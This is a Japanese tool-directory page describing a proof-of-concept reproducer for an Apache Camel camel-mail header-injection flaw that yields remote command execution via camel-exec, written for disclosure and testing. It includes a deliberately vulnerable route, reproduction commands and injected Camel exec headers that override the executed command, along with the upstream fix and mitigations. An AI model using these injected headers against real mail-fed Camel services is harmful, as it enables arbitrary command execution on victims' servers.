Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-33454 — CVE-2026-33454 用リプロデューサー: camel-exec を介した Apache Camel camel-mail ヘッダーインジェクションによる RCE | Kitploit
ツール/GitHubGitHub/oscerd/cve-2026-33454
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストペイロード開発
GitHuboscerd/cve-2026-33454

CVE-2026-33454

CVE-2026-33454 用リプロデューサー: camel-exec を介した Apache Camel camel-mail ヘッダーインジェクションによる RCE

リポジトリを見る
111ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

camel-mail ヘッダインジェクション → RCE 脆弱性再現ツール (CVE-2026-33454)

このプロジェクトは、Apache Camel の camel-mail コンポーネントにおける Camel メッセージヘッダインジェクション の脆弱性 (CVE-2026-33454) を実証するものです。Camel メールコンシューマが監視するメールボックスにメールを配信できる攻撃者は、Camel* 制御ヘッダを Exchange に注入し、ルートが camel-exec のようなヘッダに敏感なプロデューサへ転送する場合に リモートコード実行 を達成できます。

アドバイザリ: https://camel.apache.org/security/CVE-2026-33454.html

脆弱性の概要

プロパティ値
コンポーネントcamel-mail
影響を受けるクラスorg.apache.camel.component.mail.MailHeaderFilterStrategy (+ MailBinding.extractHeadersFromMail)
根本原因フィルタ戦略が OUT 方向 (setOutFilterStartsWith) のみを設定し、IN 方向を設定しないため、インバウンド MIME ヘッダがフィルタリングされない
CWECWE-20: 不適切な入力検証 (Camel メッセージヘッダインジェクション)
影響リモートコード実行 (ヘッダに敏感なプロデューサ経由、例: camel-exec)
影響を受けるバージョン3.0.0 から 4.14.6 未満、および 4.15.0 から 4.18.1 未満
修正済みバージョン4.14.6, 4.18.1, 4.19.0
JIRACAMEL-23222
報告者Hyunwoo Kim (@v4bel)

技術的詳細

MailHeaderFilterStrategy は DefaultHeaderFilterStrategy を継承しています。影響を受けるバージョンでは、そのコンストラクタが out フィルタのみを設定し、in フィルタを設定しません:

root@kitploit:~
// MailHeaderFilterStrategy - affected version (only the OUT direction is filtered)
public MailHeaderFilterStrategy() {
    setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH);   // OUT only
    // no setInFilterStartsWith(...) -> inbound Camel* headers are NOT filtered
}

Camel がメールを消費するとき (例: from("imap://...") や from("pop3://..."))、 MailBinding.extractHeadersFromMail() はすべての MIME ヘッダを Exchange In ヘッダにコピーしますが、その際に headerFilterStrategy.applyFilterToExternalHeaders(...) で判定されます。in フィルタが設定されていないため、 Camel* プレフィックス付き MIME ヘッダはそのまま通過します:

root@kitploit:~
// MailBinding.extractHeadersFromMail() - the in-filter is not configured, so Camel* passes
Enumeration<?> names = mailMessage.getAllHeaders();
...
boolean keep = !headerFilterStrategy.applyFilterToExternalHeaders(headerName, value, exchange);
if (keep) { answer.put(headerName, value); }

したがって、監視対象メールボックスにメールを送信できる攻撃者は、任意の Camel* 制御ヘッダを設定できます。ルートが camel-exec のようなヘッダに敏感なプロデューサへ転送すると、 CamelExecCommandExecutable / CamelExecCommandArgs ヘッダがコマンドを上書きし (影響を受けるバージョンではデフォルトで有効) → 任意の OS コマンド実行につながります。

被害者側ルート

root@kitploit:~
from("imap://127.0.0.1:3143?username=victim&password=secret&delete=true&unseen=true")
    .to("exec:echo?args=hello")     // fixed, harmless command
    .convertBodyTo(String.class);

前提条件

  • Java 17+
  • Maven 3.8+
  • Docker (メールサーバー実行用)

再現手順

ステップ1: メールサーバーを起動する (Docker)

GreenMail コンテナが SMTP (3025) と IMAP (3143) を提供し、単一のメールボックス (ログイン victim、パスワード secret、アドレス victim@localhost) を持ちます:

root@kitploit:~
docker compose up -d
# or:
docker run -d --name greenmail-cve -p 3025:3025 -p 3143:3143 \
  -e GREENMAIL_OPTS='-Dgreenmail.setup.test.all -Dgreenmail.users=victim:secret@localhost -Dgreenmail.hostname=0.0.0.0 -Dgreenmail.auth.disabled -Dgreenmail.verbose' \
  greenmail/standalone:2.1.0

ステップ2: アプリケーションのビルドと起動

root@kitploit:~
mvn clean package -DskipTests
mvn spring-boot:run

IMAP 被害者ルートとヘルパー用 REST コントローラが 8080 ポートで起動します。

ステップ3: 正常なメール (健全性確認)

root@kitploit:~
curl http://localhost:8080/exploit/normal

コンシューマがメールを取得し、echo hello を実行します。

ステップ4: 攻撃 — 注入された Camel* MIME ヘッダ付きメールを配信する

root@kitploit:~
# default benign proof: touch /tmp/pwned
curl http://localhost:8080/exploit/attack

# or choose the executable/args:
curl "http://localhost:8080/exploit/attack?exe=/usr/bin/touch&args=/tmp/owned-by-mail"

これにより、MIME ヘッダに以下を含むメールが配信されます:

root@kitploit:~
CamelExecCommandExecutable: /usr/bin/touch
CamelExecCommandArgs: /tmp/pwned

ステップ5: 確認

root@kitploit:~
# wait ~2s for the IMAP poll cycle, then:
ls -la /tmp/pwned

/tmp/pwned が存在する場合、注入された MIME ヘッダが exec コマンドを上書きしたことになり、RCE が発生しています。

クリーンアップ

root@kitploit:~
docker compose down    # or: docker rm -f greenmail-cve

攻撃ベクトル

このインジェクションは、後段にヘッダに敏感なプロデューサが存在するだけで成立します。アドバイザリでは camel-bean、camel-exec、camel-sql が挙げられていますが、より広範に:

  • camel-exec — CamelExecCommandExecutable / CamelExecCommandArgs → OS コマンド実行
  • camel-file — CamelFileName → 任意のファイル書き込み / パストラバーサル
  • camel-bean — CamelBeanMethodName → 別のメソッドを呼び出す
  • camel-sql — クエリ制御ヘッダ

悪用条件

  1. メールを消費する Camel ルート (imap://, imaps://, pop3://, ...) が存在する。
  2. そのルートがヘッダに敏感なプロデューサへ転送する (またはその影響を受ける)。
  3. メールコンシューマとそのプロデューサの間に removeHeaders("Camel*") がない。

攻撃者は監視対象メールボックスにメールを送信できるだけで十分です。

推奨される修正

修正 (CAMEL-23222) ではインバウンドフィルタも設定されます:

root@kitploit:~
public MailHeaderFilterStrategy() {
    setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
    String[] inFilter = Arrays.copyOf(CAMEL_FILTER_STARTS_WITH, CAMEL_FILTER_STARTS_WITH.length + 2);
    inFilter[CAMEL_FILTER_STARTS_WITH.length]     = "mail.smtp.";
    inFilter[CAMEL_FILTER_STARTS_WITH.length + 1] = "mail.smtps.";
    setInFilterStartsWith(inFilter);   // now the inbound direction is filtered too
}

緩和策

アップグレードするまでの間:

  1. メール取得メッセージから Camel ヘッダを除去する: from("imap:...") の直後に .removeHeaders("Camel*") を追加する。
  2. 信頼できないメールの後段でヘッダに敏感なプロデューサを避ける、またはその設定を固定する。
  3. 監視対象メールボックスに配信できる相手を制限する。

ファイル

root@kitploit:~
CVE-2026-33454/
├── pom.xml
├── docker-compose.yml               # GreenMail mail server (SMTP 3025 / IMAP 3143)
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java          # Spring Boot entry point
    │   ├── MailExecRoute.java        # the vulnerable victim route (imap -> exec)
    │   └── ExploitController.java    # attacker: delivers the malicious email via SMTP
    └── resources/
        └── application.properties

免責事項

この再現ツールはセキュリティ研究および許可されたテスト専用であり、公開済みかつ修正済みの脆弱性を対象としています。明示的な許可なくシステムに対して使用しないでください。

ツールをダウンロード